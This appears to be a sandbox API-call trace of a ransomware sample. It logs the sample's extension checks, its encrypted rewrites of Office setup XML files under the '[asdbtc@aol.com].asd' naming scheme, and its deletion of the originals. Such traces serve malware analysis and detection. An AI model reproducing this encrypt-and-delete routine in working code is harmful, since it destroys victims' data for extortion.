[0051.796] lstrlenW (lpString=".7z") returned 3 [0051.796] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString=".dbf") returned 4 [0051.796] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString=".1cd") returned 4 [0051.796] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString=".jpg") returned 4 [0051.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.796] lstrlenW (lpString=".doc") returned 4 [0051.796] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString=".docx") returned 5 [0051.796] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.796] lstrlenW (lpString=".pdf") returned 4 [0051.796] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString=".xls") returned 4 [0051.796] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.796] lstrlenW (lpString=".xlsx") returned 5 [0051.797] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.797] lstrlenW (lpString=".ppt") returned 4 [0051.797] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.797] lstrlenW (lpString=".zip") returned 4 [0051.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.797] lstrlenW (lpString=".rar") returned 4 [0051.797] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.797] lstrlenW (lpString=".bz2") returned 4 [0051.797] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.797] lstrlenW (lpString=".7z") returned 3 [0051.797] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.797] lstrlenW (lpString=".dbf") returned 4 [0051.797] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.797] lstrlenW (lpString=".1cd") returned 4 [0051.797] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0051.797] lstrlenW (lpString=".jpg") returned 4 [0051.797] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.797] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.797] lstrlenW (lpString="VisiorWW.XML") returned 12 [0051.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.798] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=8723) returned 1 [0051.798] CloseHandle (hObject=0x188) returned 1 [0051.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0051.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.798] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.798] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.799] GetLastError () returned 0x0 [0051.799] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2213, lpOverlapped=0x0) returned 1 [0051.804] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2220, lpOverlapped=0x0) returned 1 [0051.805] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.805] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.805] SetEndOfFile (hFile=0x21c) returned 1 [0051.805] CloseHandle (hObject=0x21c) returned 1 [0051.805] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.805] SetEndOfFile (hFile=0x188) returned 1 [0051.806] CloseHandle (hObject=0x188) returned 1 [0051.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.806] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0051.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".doc") returned 4 [0051.807] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString=".docx") returned 5 [0051.807] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.807] lstrlenW (lpString=".pdf") returned 4 [0051.807] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString=".xls") returned 4 [0051.807] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString=".xlsx") returned 5 [0051.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.807] lstrlenW (lpString=".ppt") returned 4 [0051.807] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".zip") returned 4 [0051.807] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.807] lstrlenW (lpString=".rar") returned 4 [0051.807] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString=".bz2") returned 4 [0051.807] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString=".7z") returned 3 [0051.807] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".dbf") returned 4 [0051.807] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".1cd") returned 4 [0051.807] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".jpg") returned 4 [0051.807] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.807] lstrlenW (lpString=".doc") returned 4 [0051.808] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString=".docx") returned 5 [0051.808] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.808] lstrlenW (lpString=".pdf") returned 4 [0051.808] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString=".xls") returned 4 [0051.808] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString=".xlsx") returned 5 [0051.808] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.808] lstrlenW (lpString=".ppt") returned 4 [0051.808] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.808] lstrlenW (lpString=".zip") returned 4 [0051.808] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.808] lstrlenW (lpString=".rar") returned 4 [0051.808] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString=".bz2") returned 4 [0051.808] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString=".7z") returned 3 [0051.808] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.808] lstrlenW (lpString=".dbf") returned 4 [0051.808] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.808] lstrlenW (lpString=".1cd") returned 4 [0051.808] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0051.808] lstrlenW (lpString=".jpg") returned 4 [0051.808] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.808] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.809] lstrlenW (lpString="SETUP.XML") returned 9 [0051.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.809] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2424) returned 1 [0051.810] CloseHandle (hObject=0x188) returned 1 [0051.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0051.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.810] GetLastError () returned 0x0 [0051.810] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x978, lpOverlapped=0x0) returned 1 [0051.812] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x980, lpOverlapped=0x0) returned 1 [0051.813] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.813] WriteFile (in: hFile=0x21c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.813] SetEndOfFile (hFile=0x21c) returned 1 [0051.813] CloseHandle (hObject=0x21c) returned 1 [0051.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.814] SetEndOfFile (hFile=0x188) returned 1 [0051.814] CloseHandle (hObject=0x188) returned 1 [0051.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0051.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.815] lstrlenW (lpString=".doc") returned 4 [0051.815] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.815] lstrlenW (lpString=".docx") returned 5 [0051.815] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.815] lstrlenW (lpString=".pdf") returned 4 [0051.815] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.815] lstrlenW (lpString=".xls") returned 4 [0051.815] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.815] lstrlenW (lpString=".xlsx") returned 5 [0051.815] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.815] lstrlenW (lpString=".ppt") returned 4 [0051.815] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.815] lstrlenW (lpString=".zip") returned 4 [0051.815] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.816] lstrlenW (lpString=".rar") returned 4 [0051.816] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString=".bz2") returned 4 [0051.816] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString=".7z") returned 3 [0051.816] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString=".dbf") returned 4 [0051.816] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString=".1cd") returned 4 [0051.816] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString=".jpg") returned 4 [0051.816] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString=".doc") returned 4 [0051.816] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString=".docx") returned 5 [0051.816] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.816] lstrlenW (lpString=".pdf") returned 4 [0051.816] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString=".xls") returned 4 [0051.816] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString=".xlsx") returned 5 [0051.816] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.816] lstrlenW (lpString=".ppt") returned 4 [0051.816] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.816] lstrlenW (lpString=".zip") returned 4 [0051.816] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.817] lstrlenW (lpString=".rar") returned 4 [0051.817] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.817] lstrlenW (lpString=".bz2") returned 4 [0051.817] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.817] lstrlenW (lpString=".7z") returned 3 [0051.817] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.817] lstrlenW (lpString=".dbf") returned 4 [0051.817] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.817] lstrlenW (lpString=".1cd") returned 4 [0051.817] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0051.817] lstrlenW (lpString=".jpg") returned 4 [0051.817] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.817] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.817] lstrlenW (lpString="WordMUI.XML") returned 11 [0051.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.818] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1800) returned 1 [0051.818] CloseHandle (hObject=0x188) returned 1 [0051.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0051.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.208] GetLastError () returned 0x0 [0052.208] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x708, lpOverlapped=0x0) returned 1 [0052.228] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x710, lpOverlapped=0x0) returned 1 [0052.229] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.229] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.229] SetEndOfFile (hFile=0x210) returned 1 [0052.229] CloseHandle (hObject=0x210) returned 1 [0052.229] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.229] SetEndOfFile (hFile=0x188) returned 1 [0052.230] CloseHandle (hObject=0x188) returned 1 [0052.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.231] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0052.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.231] lstrlenW (lpString=".doc") returned 4 [0052.231] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.231] lstrlenW (lpString=".docx") returned 5 [0052.231] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.231] lstrlenW (lpString=".pdf") returned 4 [0052.231] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.231] 